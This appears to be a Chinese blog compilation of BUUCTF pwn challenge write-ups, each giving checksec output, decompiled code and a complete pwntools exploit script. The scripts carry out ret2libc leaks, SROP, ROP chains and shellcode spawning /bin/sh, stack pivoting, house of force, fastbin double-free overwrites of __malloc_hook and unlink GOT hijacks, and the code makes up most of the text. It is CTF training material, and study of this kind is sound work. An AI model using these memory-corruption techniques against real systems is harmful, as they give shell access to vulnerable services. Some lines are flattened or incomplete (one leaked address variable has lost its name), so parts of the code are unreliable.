signed __int64 vuln () { signed __int64 result; __asm { syscall; LINUX - sys_read } result = 1LL ; __asm { syscall; LINUX - sys_write } return result; }
居然是汇编,这种题从来没遇见过
不过看得出来(结合汇编)
sys_write:向栈上写数据(0x400)
sys_read:从栈上读数据(0x30)
查了查WP
https://blog.csdn.net/github_36788573/article/details/103541178
3WriteUp分析
主要是gadget函数有东西
; __unwind { push rbp mov rbp, rsp mov rax, Fh retn mov rax, 59 retn pop rbp retn } // starts at 4004D6
先是向rax传递了0xf,在linux的系统调用表示
sys_rt_sigreturn(unsigned long _unused)
15号系统调用sigreturn。这个系统调用是在终止信号恢复用户态环境时用的。那么我们在栈上伪造寄存器的值,那么恢复时就可将寄存器控制为我们想要的值。
向rax传递了59,在linux的系统调用表示
sys_exec(const char *filename,const char *const argv[],const char *,const envp[])
就相当于system函数
59号系统调用是execve那么就可以想办法控制寄存器的值调用execve(“/bin/sh”,0,0),注意在调用execve时,后面两个参数需要置0,由于需要控制rdx的值,所以选择使用通用gadget,__libc_csu_init。
这就引申出两种解题方法
4.1 59号系统调用
ropgadget
Gadgets information ============================================================ 0x00000000004004a3 : mov byte ptr [rip + 0x200b86], 1 ; ret 0x00000000004004e3 : mov eax, 0x3b ; ret 0x00000000004004db : mov eax, 0xf ; ret 0x00000000004004d8 : mov ebp, esp ; mov rax, 0xf ; ret 0x00000000004004e2 : mov rax, 0x3b ; ret 0x00000000004004da : mov rax, 0xf ; ret 0x000000000040059c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040059e : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004005a0 : pop r14 ; pop r15 ; ret 0x00000000004005a2 : pop r15 ; ret 0x00000000004004a2 : pop rbp ; mov byte ptr [rip + 0x200b86], 1 ; ret 0x000000000040059b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040059f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400440 : pop rbp ; ret 0x00000000004005a3 : pop rdi ; ret 0x00000000004005a1 : pop rsi ; pop r15 ; ret 0x000000000040059d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004003a9 : ret Unique gadgets found: 18
3.EXP
from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,26249 ) vuln_addr = 0x04004ED execv = 0x04004E2 pop_rdi = 0x04005A3 pop_5_ret = 0x040059A mov_RDX_r13 =0x0400580 sys_write = 0x0400517 payload = "/bin/sh\x00" *2 + p64(vuln_addr) p.send(payload) p.recv(0x20 ) = u64(p.recv(8 )) - 280 print (hex ( ))payload = "/bin/sh\x00" *2 + p64(pop_5_ret) + p64(0 )*2 payload += p64( +0x50 )+p64(0 )*3 payload += p64(mov_RDX_r13) + p64(execv) payload += p64(pop_rdi) + p64( ) + p64(sys_write) p.send(payload) p.interactive()
这个EXP是可以打通的,看上去和普通write泄露libc的EXP差不多
其实包含了很多汇编的底层知识
4.2FramingSignals-AReturntoPortableShellcode
SROP
FramingSignals-AReturntoPortableShellcode
from pwn import *io=process('./ciscn_s_3' ) main=0x0004004ED sigret=0x4004DA sys=0x400517 pl1='/bin/sh\x00' *2 +p64(main) io.send(pl1) io.recv(0x20 ) sh=u64(io.recv(8 ))-280 print (hex (sh))frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = sh frame.rsi = 0 frame.rdx = 0 frame.rip = sys pl1='a' *16 +p64(sigret)+p64(sys)+str (frame) ''' def debug(addr): raw_input('debug:') gdb.attach(io, "b *" + addr) debug('0x400514') ''' pl2='/bin/sh\x00' *2 +p64(sigret)+p64(sys)+str (frame) io.send(pl2) io.interactive()
参考南梦的打法
[CTF-BUUCTF-Pwn刷题之旅-](https://196011564.github.io/2019/07/13/CTF-BUUCTF-Pwn%E5%88%B7%E9%A2%98%E4%B9%8B%E6%97%85-(1)/
ciscn_2019_s_4
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
vuln
int vul () { char s; memset (&s, 0 , 0x20 u); read(0 , &s, 0x30 u); printf ("Hello, %s\n" , &s); read(0 , &s, 0x30 u); return printf ("Hello, %s\n" , &s); }
两次很短的栈溢出,第一次ebp leak,第二次leave ret
3.GDB
ECX: 0xffffcff0 ('a' <repeats 36 times>, "\n\320\377\377(\320\377\377*\206\004\b\334c\373\367@\320\377\377") ................ EBP: 0xffffd018 --> 0xffffd028 --> 0x0
>>> hex (0xffffcff0 - 0xffffd018 )'-0x28'
下一步时,程序会抬栈,所以这时候的buf为0xffffd028,偏移量为0x28-0x10
主要目标是:让程序ret到栈开始的地方,将刚才构造的payload当作命令执行
pl2=('aaaa' +p32(sys_plt)+'bbbb' +p32(buf+0x10 )+'/bin/sh\x00' ).ljust(0x28 ,'a' )+p32(buf)+p32(leave)
4.EXP
from pwn import *context.log_level = "debug" p = process("./ciscn_s_4" ) elf = ELF("./ciscn_s_4" ) leave=0x8048562 sys_plt=0x8048400 pl1='a' *0x24 +'bbbb' p.send(pl1) p.recvuntil('bbbb' ) ebp=u32(p.recv(4 )) success("EBP =>0x%x" ,ebp) context.terminal=["tmux" ,'splitw' ,'-h' ] gdb.attach(p) buf=ebp-0x38 pl2=('aaaa' +p32(sys_plt)+'bbbb' +p32(buf+16 )+'/bin/sh\x00' ).ljust(0x28 ,'a' )+p32(buf)+p32(leave) p.send(pl2) p.interactive()
cisncn_2019_s_6
和ciscn_2019_es_1 一样
ciscn_2019_s_9
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
估计和shellcode相关
2.IDA
pwn
int pwn () { char s[24 ]; puts ("\nHey! ^_^" ); puts ("\nIt's nice to meet you" ); puts ("\nDo you have anything to tell?" ); puts (">" ); fflush(stdout ); fgets(s, 50 , stdin ); puts ("OK bye~" ); fflush(stdout ); return 1 ; }
第十行栈溢出
hint
; Attributes: bp-based frame ;void hint public hint hint proc near ; __unwind { push ebp mov ebp, esp jmp esp hint endp
利用jmp esp实现跳转
3.EXP
from pwn import *context.log_level = "debug" elf = ELF("./ciscn_s_9" ) p = remote("node3.buuoj.cn" ,"25940" ) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" gadget = asm("sub esp,0x28 ; jmp esp" ) jmp_esp = 0x08048554 payload = shellcode.ljust(0x24 ,'\x00' )+p32(jmp_esp)+gadget p.sendline(payload) p.interactive()
cmcc_pwnme1
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
2.IDA
getfruit
int getfruit () { char v1; fflush(stdout ); printf ("Please input the name of fruit:" ); __isoc99_scanf("%s" , &v1); return printf ("oh,%s...\n" , &v1); }
栈溢出
3.EXP
from pwn import *from LibcSearcher import *context.log_level = "debug" elf = ELF("./pwnme1" ) p = remote("node3.buuoj.cn" ,"28427" ) puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] getfruit = 0x08048624 payload = 'a' *(0xA4 +4 ) payload += p32(puts_plt)+p32(getfruit)+p32(puts_got) p.sendlineafter(">> 6. Exit " ,'5' ) p.sendlineafter("Please input the name of fruit:" ,payload) puts_real = u32(p.recvuntil('\xf7' )[-4 :].ljust(4 ,'\x00' )) libc = LibcSearcher("puts" ,puts_real) base = puts_real-libc.dump("puts" ) sys_addr = base+libc.dump("system" ) binsh = base+libc.dump("str_bin_sh" ) success("libc base 0x%x" ,base) success("binsh 0x%x" ,binsh) success("system 0x%x" ,sys_addr) payload = 'a' *(0xA4 +4 ) payload += p32(sys_addr)+'aaaa' +p32(binsh) p.sendlineafter("Please input the name of fruit:" ,payload) p.interactive()
cmcc_pwnme2
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
userfunction
int __cdecl userfunction (char *src) { char dest; strcpy (&dest, src); return printf ("Hello, %s\n" , src); }
之前在main里面输入过多的话,会导致这里栈溢出
exec_string
int exec_string () { char s; FILE *stream; stream = fopen(&string , "r" ); if ( !stream ) perror("Wrong file" ); fgets(&s, 50 , stream); puts (&s); fflush(stdout ); return fclose(stream); }
string变量在bss段上,要想执行它,就必须把/flag命令写到string上,这里就可以构造payload
3.EXP
from pwn import *context.log_level = "debug" sh = remote("node3.buuoj.cn" ,28490 ) elf = ELF("pwnme2" ) pop_ebp_ret = 0x08048680 offset = 0x6C +4 payload = offset * "a" payload += p32(elf.plt['gets' ]) payload += p32(pop_ebp_ret) payload += p32(0x0804A060 ) payload += p32(0x080485CB ) sh.sendlineafter("Please input:" ,payload) sh.sendline("/flag" ) sh.interactive()
cmcc_simplerop
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
发现了超级多的无用函数
main
int __cdecl main (int argc, const char **argv, const char **envp) { int v4; puts ("ROP is easy is'nt it ?" ); printf ("Your input :" ); fflush(stdout ); return read(0 , &v4, 100 ); }
很明显的read溢出,但是不大好的构造ropchain,所以先用ROPgadget自动生成ropchain,但是需要调整长度
ROPgadget --binary simplerop --ropchain
3.EXP
from pwn import *from struct import packio=remote("node3.buuoj.cn" ,25035 ) io.recvuntil(':' ) p = 'a' *0x14 +p32(1 )*3 p += pack('<I' , 0x0806e82a ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080bae06 ) p += '/bin' p += pack('<I' , 0x0809a15d ) p += pack('<I' , 0x0806e82a ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080bae06 ) p += '//sh' p += pack('<I' , 0x0809a15d ) p += pack('<I' , 0x0806e850 ) p += pack('<I' , 0x0 ) p += pack('<I' , 0x0 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080bae06 ) p += pack('<I' , 0xb ) p += pack('<I' , 0x080493e1 ) io.send(p) io.interactive() print hex (len (p))
ez_pz_hackover_2016
1.checksec
Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { setbuf(stdout , 0 ); header(); chall(); return 0 ; }
chall
int chall () { size_t v0; int result; char s; _BYTE *v3; printf ("Yippie, lets crash: %p\n" , &s); printf ("Whats your name?\n" ); printf ("> " ); fgets(&s, 1023 , stdin ); v0 = strlen (&s); v3 = memchr (&s, 10 , v0); if ( v3 ) *v3 = 0 ; printf ("\nWelcome %s!\n" , &s); result = strcmp (&s, "crashme" ); if ( !result ) result = vuln((unsigned int )&s, 0x400 u); return result; }
vuln
void *__cdecl vuln (char src, size_t n) { char dest; return memcpy (&dest, &src, n); }
strlen()遇见’\x00’截断
s 和 vuln里面dest 的ebp 的距离
memchr比较前十个字符串
3.EXP
from pwn import *p = remote("node3.buuoj.cn" ,29397 ) p.recvuntil("Yippie, lets crash: 0x" ) stack_addr = int (p.recv(8 ),16 ) print hex (stack_addr)payload = "crashme\x00" + 'a' *(0x40 -0x32 +4 ) payload += p32(stack_addr-(0x40 -0x32 +4 +10 )) + asm(shellcraft.sh()) p.sendlineafter("> " ,payload) p.interactive()
get_started_3dsctf_2016
1.checksec()
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { char v4; printf ("Qual a palavrinha magica? " , v4); gets(&v4); return 0 ; }
get_flag
void __cdecl get_flag (int a1, int a2) { int v2; int v3; unsigned __int8 v4; int v5; unsigned __int8 v6; if ( a1 == 814536271 && a2 == 425138641 ) { v2 = fopen("flag.txt" , "rt" ); v3 = v2; v4 = getc(v2); if ( v4 != 255 ) { v5 = (char )v4; do { putchar (v5); v6 = getc(v3); v5 = (char )v6; } while ( v6 != 255 ); } fclose(v3); } }
其实主要分析可知,这个程序的大致意思是修改eip改变程序流,最后执行cat_flag
但是BUU远程打不通,要使用mprotec函数修改内存的权限为可读可写可执行,再使用read函数写入shellcode到被解放的bss段
#include <sys/mman.h> int mprotect (void *addr, size_t len, int prot) ;
所以我们需要三个参数,就要ppp_ret
3.EXP
from pwn import *p=remote('node3.buuoj.cn' ,28495 ) elf=ELF('./get_started_3dsctf_2016' ) pop3_ret = 0x0804951D get_flag = 0x080489A0 got_addr = 0x080EB000 payload = 'a' *0x38 +p32(elf.symbols['mprotect' ]) payload += p32(pop3_ret)+p32(got_addr)+p32(0x1d8c )+p32(0x7 ) payload += p32(elf.symbols['read' ]) payload += p32(pop3_ret)+p32(0 )+p32(got_addr)+p32(0x100 )+p32(got_addr) p.sendline(payload) payload=asm(shellcraft.sh()) p.sendline(payload) p.interactive()
gyctf_2020_borrowstack
1.checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { char buf; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); puts (&s); read(0 , &buf, 0x70 uLL); puts ("Done!You can check and use your borrow stack now!" ); read(0 , &bank, 0x100 uLL); return 0 ; }
第一步栈迁移,第二步抬高栈了过后libc leak,程序返回至第一个read,第三步one gadget来getshell
3.EXP
from pwn import *context.log_level = "debug" io=remote('node3.buuoj.cn' ,25707 ) bank=0x0601080 leave=0x400699 puts_plt=0x04004E0 puts_got=0x0601018 pop_rdi=0x400703 main=0x0400626 ret=0x4004c9 io.recvuntil('u want' ) pl1='a' *0x60 +p64(bank)+p64(leave) io.send(pl1) io.recvuntil('now!' ) pl2=p64(ret)*20 ''' ret指令用栈中的数据,修改IP的值,从而实现近转移。 CPU执行ret指令时,进行下面两步操作: (IP)=((SS)*16+(SP)) (SP)=(SP)+2; ''' pl2+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.send(pl2) io.recvline() puts_add=u64(io.recv(6 ).ljust(8 ,'\x00' )) libc_base=puts_add-0x06f690 one_gadget=libc_base+0x4526a pl3='a' *0x60 +'bbbbbbbb' +p64(one_gadget) io.send(pl3) io.interactive()
gyctf_2020_force
1.checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2.IDA
有用的基本只有add
def add (sz,text ): p.sendlineafter("2:puts\n" ,"1" ) p.sendlineafter("size\n" ,str (sz)) p.recvuntil("bin addr " ) addr = int (p.recvuntil('\n' ).strip(), 16 ) p.sendafter("content\n" ,text) return addr
add
puts ("size" );read(0 , nptr, 0xF uLL); size = atol(nptr); *(_QWORD *)i = malloc (size); if ( !*(_QWORD *)i ) exit (0 );
add 会返回堆的地址,所以可以利用这个来获取偏移量
add 同时存在堆溢出,使得我们可以覆盖 top chunk 的 size 域
可以多次申请。综上,符合house of force的攻击条件
1.libc leak 2.hof 3.malloc_hook+one gadget
3.GDB
0x1 libc leak
1:add 2:puts 1 size 2097152 bin addr 0x7ffff780c010 content aaaa >vmmap 0x7ffff780c000 0x7ffff7a0d000 rw-p 201000 0 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so >In python >>> hex(0x7ffff7a0d000 - 0x7ffff780c010) '0x200ff0'
得到偏移 0x200ff0
0x2 house of force
addr = add(0x200000 ,'aaaaaa' ) base = addr + 0x200ff0 log.success("libc base >>0x%x" ,base) top = add(0x18 ,"a" *0x10 +p64(0 )+p64(0xffffffffffffffff ))+0x10 log.success("top chunk >>0x%x" ,top) gdb.attach(p) pwndbg> heap 0x5559b4dfa000 FASTBIN { prev_size = 0 , size = 33 , fd = 0x6161616161616161 , bk = 0x6161616161616161 , fd_nextsize = 0x0 , bk_nextsize = 0xffffffffffffffff } pwndbg> x/12gx 0x5559b4dfa000 0x55d5b01aa000 : 0x0000000000000000 0x0000000000000021 0x55d5b01aa010 : 0x6161616161616161 0x6161616161616161 0x55d5b01aa020 : 0x0000000000000000 0xffffffffffffffff 0x55d5b01aa030 : 0x0000000000000000 0x0000000000000000 [+] Starting local process './gyctf_2020_force' : pid 50956 [+] libc base >>0x7fc48892d000 [+] top chunk >>0x55d5b01aa020
add((offset-0x33 ),"aaaa" ) add(0x10 ,"a" *0x8 +p64(one_gadget)+p64(realloc+16 )) 0x7f7a6909aaef <_IO_wide_data_0+303 >: 0x007f7a6909926000 0x0000000000002100 0x7f7a6909aaff : 0x6161616161616100 0x007f7a68d1b26a61 0x7f7a6909ab0f <__realloc_hook+7 >: 0x007f7a68d5a6d000 0xffd61c20d2750900 <-这里调整堆栈,使one gadget可用0x7f7a6909ab1f : 0x00000100000000ff 0x0000000000000000
4.EXP
from pwn import *elf = ELF("./gyctf_2020_force" ) libc = ELF("/home/joe1sn/libc/64/libc-2.23.so" ) p = process("./gyctf_2020_force" ) def add (sz,text ): p.sendlineafter("puts\n" ,"1" ) p.sendlineafter("size\n" ,str (sz)) p.recvuntil("0x" ) addr = int (p.recv(12 ),16 ) p.sendafter("content\n" ,text) return addr if __name__ == '__main__' : addr = add(0x200000 ,'aaaaaa' ) base = addr + 0x200ff0 log.success("libc base >>0x%x" ,base) top = add(0x18 ,"a" *0x10 +p64(0 )+p64(0xffffffffffffffff ))+0x10 log.success("top chunk >>0x%x" ,top) malloc_hook = base+libc.sym["__malloc_hook" ] realloc = base+libc.sym["__libc_realloc" ] one_gadget = 0x4526a + base offset = malloc_hook-top log.success("malloc hook >>0x%x" ,malloc_hook) log.success("realloc hook >>0x%x" ,realloc) log.success("offset >>0x%x" ,offset) add((offset-0x33 ),"aaaa" ) add(0x10 ,"a" *0x8 +p64(one_gadget)+p64(realloc+16 )) p.sendlineafter("puts\n" ,"1" ) p.sendlineafter("size\n" ,str (0x20 )) p.interactive()
gyctf_2020_some_thing_exceting
1.checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
三大功能
def add (ba_sz,ba_text,na_sz,na_text ): p.sendlineafter(":" ,"1" ) p.sendlineafter(":" ,str (ba_sz)) p.sendlineafter(":" ,str (ba_text)) p.sendlineafter(":" ,str (na_sz)) p.sendlineafter(":" ,str (na_text)) def delete (idx ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx)) def view (idx ): p.sendlineafter(":" ,"4" ) p.sendlineafter(":" ,str (idx))
flag
unsigned __int64 flag () { FILE *stream; unsigned __int64 v2; v2 = __readfsqword(0x28 u); setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); stream = fopen("/flag" , "r" ); if ( !stream ) { puts ("Emmmmmm!Maybe you want Fool me!" ); exit (0 ); } byte_6020A0 = 96 ; fgets(s, 45 , stream); return __readfsqword(0x28 u) ^ v2; }
后门函数
delete
free (*(void **)ptr[v1]);free (*((void **)ptr[v1] + 1 ));free (ptr[v1]);
free指针没有清零,可以直接接上
3.EXP
from pwn import *elf = ELF("./something" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) p = remote("node3.buuoj.cn" ,"25754" ) def add (ba_sz,ba_text,na_sz,na_text ): p.sendlineafter(":" ,"1" ) p.sendlineafter(":" ,str (ba_sz)) p.sendlineafter(":" ,str (ba_text)) p.sendlineafter(":" ,str (na_sz)) p.sendlineafter(":" ,str (na_text)) def delete (idx ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx)) def view (idx ): p.sendlineafter(":" ,"4" ) p.sendlineafter(":" ,str (idx)) if __name__ == '__main__' : add(0x50 ,'0000' ,0x50 ,'1111' ) add(0x50 ,'2222' ,0x50 ,'3333' ) delete(0 ) delete(1 ) delete(0 ) add(0x50 ,p64(0x602098 ),0x50 ,'Chunk_2' ) add(0x50 ,'Chunk_3' ,0x50 ,'Chunk_4' ) add(0x50 ,'f' ,0x60 ,'2' ) view(4 ) p.interactive()
gyctf_2020_some_thing_interesting
1.checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2.IDA
sub_B7A
read(0 , s1, 0x13 uLL); if ( strncmp (s1, "OreOOrereOOreO" , 14uLL ) ) { puts ("Emmmmmm!Maybe you want Fool me!" ); exit (0 ); }
字符串格式化漏洞,这里可以泄露地址
delete
unsigned __int64 delete () { int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("#######################" ); puts ("# Delete Oreo #" ); puts ("#---------------------#" ); printf ("> Oreo ID : " ); _isoc99_scanf("%d" , &v1); if ( v1 < 0 || v1 > 10 || !chunk[v1] ) { puts ("Emmmmmm!Maybe you want Fool me!" ); Exit(); } free (chunk[v1]); free (re_chunk[v1]); puts ("#---------------------#" ); puts ("# ALL Down! #" ); puts ("#######################" ); return __readfsqword(0x28 u) ^ v2; }
free 后指针没有置零,造成uaf
3.exp1 偏移量计算
from pwn import *elf = ELF("./gyctf_2020_some_thing_interesting" ) libc = ELF("/mnt/d/CTF/Question/BUUCTF/libc/64/libc-2.23.so" ) sh = 0 counter="" def start (i ): sh.sendlineafter(":" ,"OreOOrereOOreO%" +str (i)+"$p" ) def check_in (i ): sh.sendlineafter(":" ,"0" ) sh.recvuntil("OreOOrereOOreO" ) str1 = sh.recv(16 ) if "0x7f" in str1: success("This can be tested" ) global counter counter+= " " +str (i)+" " print "\n" print "\n" else : pass def offset_count (ip,port,mode,debug,i ): global sh if debug==0 : context.log_level = "debug" else : pass if mode==0 : sh = process("./gyctf_2020_some_thing_interesting" ) else : sh = remote(ip,port) start(i) check_in(i) sh.close() if __name__ == '__main__' : for i in range (4 ,20 ): offset_count(1 ,1 ,0 ,1 ,i) print "can be tested >" print counter
得到
4 6 7 10 11 12 14 16 17 19
最终得到偏移量为 17
这里也可以使用 *b $rebase(偏移地址) 来慢慢计算得到偏移
3.exp2 攻击
from pwn import *elf = ELF("./gyctf_2020_some_thing_interesting" ) libc = ELF("/mnt/d/CTF/Question/BUUCTF/libc/64/libc-2.23.so" ) sh = 0 def leak_addr (): sh.sendlineafter(":" ,"OreOOrereOOreO%17$p" ) sh.sendlineafter(":" ,"0" ) sh.recvuntil("OreOOrereOOreO0x" ) return int (sh.recv(12 ),16 ) def create (o_sz,o_text,re_sz,re_text ): sh.sendlineafter(":" ,"1" ) sh.sendlineafter(": " ,str (o_sz)) sh.sendlineafter(": " ,o_text) sh.sendlineafter(": " ,str (re_sz)) sh.sendlineafter(": " ,re_text) def edit (idx,o_text,re_text ): sh.sendlineafter(":" ,"2" ) sh.sendlineafter(": " ,str (idx)) sh.sendlineafter(": " ,o_text) sh.sendlineafter(": " ,re_text) def delete (idx ): sh.sendlineafter(":" ,"3" ) sh.sendlineafter(": " ,str (idx)) def show (idx ): sh.sendlineafter(":" ,"3" ) sh.sendlineafter(": " ,str (idx)) def pwn (ip,port,debug,mode ): global sh if debug==0 : context.log_level = "debug" else : pass if mode==0 : sh = process("./gyctf_2020_some_thing_interesting" ) else : sh = remote(ip,port) leak = leak_addr() base = leak-0x20830 one_gadget = 0xf1147 +base malloc_hook = base+libc.sym["__malloc_hook" ] success("base -> 0x%x" ,base) success("one gadget -> 0x%x" ,one_gadget) success("malloc hook -> 0x%x" ,malloc_hook) create(0x68 ,'aaaa' ,0x68 ,'1111' ) create(0x68 ,'aaaa' ,0x68 ,'1111' ) delete(1 ) delete(2 ) delete(1 ) create(0x68 ,p64(malloc_hook-35 ),0x68 ,'1111' ) create(0x68 ,p64(malloc_hook-35 ),0x68 ,'1111' ) create(0x68 ,p64(malloc_hook-35 ),0x68 ,"a" *0x13 +p64(one_gadget)) sh.sendlineafter(":" ,"1" ) sh.sendlineafter(": " ,"20" ) sh.interactive() if __name__ == '__main__' : pwn("node3.buuoj.cn" ,29443 ,1 ,1 )
hitcon_2014_stkof
1.checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
程序太简陋了,几乎没有交互,能用的有三个功能
def add (sz ): p.snedline("1" ) p.snedline(str (sz)) def edit (chunk,size,strs ): p.sendline("2" ) p.sendline(chunk) p.sendline(size) p.sendline(strs) def free (chunk ): p.sendline("3" ) p.sendline(chunk)
sub_4009E8() edit
for ( i = fread(ptr, 1uLL , n, stdin ); i > 0 ; i = fread(ptr, 1uLL , n, stdin ) ) { ptr += i; n -= i; }
没有控制输入范围,可以堆溢出
全局变量s
.bss:0000000000602104 align 40h .bss:0000000000602140 ; char *s[1049600] .bss:0000000000602140 s dq ? ; DATA XREF: add+78↑w .bss:0000000000602140 ; edit+60↑r ... .bss:0000000000602148 db ? ; .bss:0000000000602149 db ? ; .bss:000000000060214A db ? ;
思路
有堆溢出,有全局指针变量,没有输出函数,所以用unlink改free@got 为 puts,再次调用free就相当于调用puts,从而libc leak
填入onegedget或者该函数为system并执行binsh,从而getshell
3.GDB
unlink部份
alloc(0x100 ) alloc(0x30 ) alloc(0x80 ) head = 0x602140 payload = p64(0 ) payload += p64(0x20 ) payload += p64(head + 16 - 0x18 ) payload += p64(head + 16 - 0x10 ) payload += p64(0x20 ) payload = payload.ljust(0x30 , 'a' ) payload += p64(0x30 ) payload += p64(0x90 ) edit(2 , len (payload), payload) free(3 ) p.recvuntil('OK\n' ) gdb.attach(p)
gdb
0x1561000 PREV_INUSE { prev_size = 0, size = 4113, fd = 0xa33, bk = 0x20, fd_nextsize = 0x602138, bk_nextsize = 0x602140 } 0x1562010 PREV_INUSE { prev_size = 0, size = 273, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x1562120 PREV_INUSE { prev_size = 0, size = 1041, fd = 0xa4b4f, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x1562530 FASTBIN { prev_size = 0, size = 65, fd = 0x0, bk = 0x20ac1, fd_nextsize = 0x602138, bk_nextsize = 0x602140 } pwndbg> x/32gx 0x1561000 0x1561000: 0x0000000000000000 0x0000000000001011 0x1561010: 0x0000000000000a33 0x0000000000000020 fake fd fake bk 0x1561020: 0x0000000000602138 0x0000000000602140 0x1561030: 0x0000000000000020 0x6161616161616161 0x1561040: 0x0000000000000030 0x0000000000000090 0x1561050: 0x0000000000000000 0x0000000000000000 0x1561060: 0x0000000000000000 0x0000000000000000
4.EXP
from pwn import *context.log_level = "debug" elf = ELF("./stkof" ) libc = ELF('/home/joe1sn/libc/64/libc-2.23.so' ) p = remote("node3.buuoj.cn" ,"25342" ) def alloc (size ): p.sendline('1' ) p.sendline(str (size)) p.recvuntil('OK\n' ) def edit (idx, size, content ): p.sendline('2' ) p.sendline(str (idx)) p.sendline(str (size)) p.send(content) p.recvuntil('OK\n' ) def free (idx ): p.sendline('3' ) p.sendline(str (idx)) if __name__ == '__main__' : alloc(0x100 ) alloc(0x30 ) alloc(0x80 ) head = 0x602140 payload = p64(0 ) payload += p64(0x20 ) payload += p64(head + 16 - 0x18 ) payload += p64(head + 16 - 0x10 ) payload += p64(0x20 ) payload = payload.ljust(0x30 , 'a' ) payload += p64(0x30 ) payload += p64(0x90 ) edit(2 , len (payload), payload) free(3 ) p.recvuntil('OK\n' ) payload = 'a' * 8 + p64(elf.got['free' ]) + p64(elf.got['puts' ]) + p64(elf.got['atoi' ]) edit(2 , len (payload), payload) payload = p64(elf.plt['puts' ]) edit(0 , len (payload), payload) free(1 ) puts_addr = p.recvuntil('\nOK\n' , drop=True ).ljust(8 , '\x00' ) puts_addr = u64(puts_addr) log.success('puts addr: ' + hex (puts_addr)) libc_base = puts_addr - libc.symbols['puts' ] binsh_addr = libc_base + next (libc.search('/bin/sh' )) system_addr = libc_base + libc.symbols['system' ] log.success('libc base: ' + hex (libc_base)) log.success('/bin/sh addr: ' + hex (binsh_addr)) log.success('system addr: ' + hex (system_addr)) payload = p64(system_addr) edit(2 , len (payload), payload) p.send(p64(binsh_addr)) p.interactive()
hitcontraining_uaf
Use_After_Free
Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
得到几个选项+后门
def add (sz,text ): p.sendlineafter("choice :" ,"1" ) p.sendlineafter(":" ,str (sz)) p.sendlineafter(":" ,text)
def dele (idx ): p.sendlineafter("choice :" ,"2" ) p.sendlineafter(":" ,str (idx))
def show (idx ): p.sendlineafter("choice :" ,"3" ) p.sendlineafter("choice :" ,str (idx))
backdoor:
int magic () { return system("cat /home/hacknote/flag" ); }
free:
free (*((void **)notelist[v1] + 1 )); free (notelist[v1]); puts ("Success" );
这里free后指针未清造成UAF
from pwn import *p = process("./hacknote" ) def addnote (size,content ): p.sendlineafter(":" ,"1" ) p.sendlineafter(":" ,str (size)) p.sendlineafter(":" ,content) def delnote (idx ): p.sendlineafter(":" ,"2" ) p.sendlineafter(":" ,str (idx)) def printnote (idx ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx)) if __name__ == '__main__' : magic = 0x08048986 system = 0x8048506 addnote(32 ,"ddaa" ) addnote(32 ,"ddaa" ) addnote(32 ,"ddaa" ) delnote(0 ) delnote(1 ) addnote(8 ,p32(magic)) printnote(0 ) p.interactive()
hitcontraining_bamboobox
Unlink or House_Of_Force
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
def add (length,name ): p.sendlineafter(":" ,"2" ) p.sendlineafter(":" ,str (length)) p.sendlineafter(":" ,name)
def edit (idx,length,name ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,str (length)) p.sendlineafter(":" ,name)
def free (idx ): p.sendlineafter(":" ,"4" ) p.sendlineafter(":" ,str (idx))
def show (): p.sendlineafter(":" ,"1" )
back_door
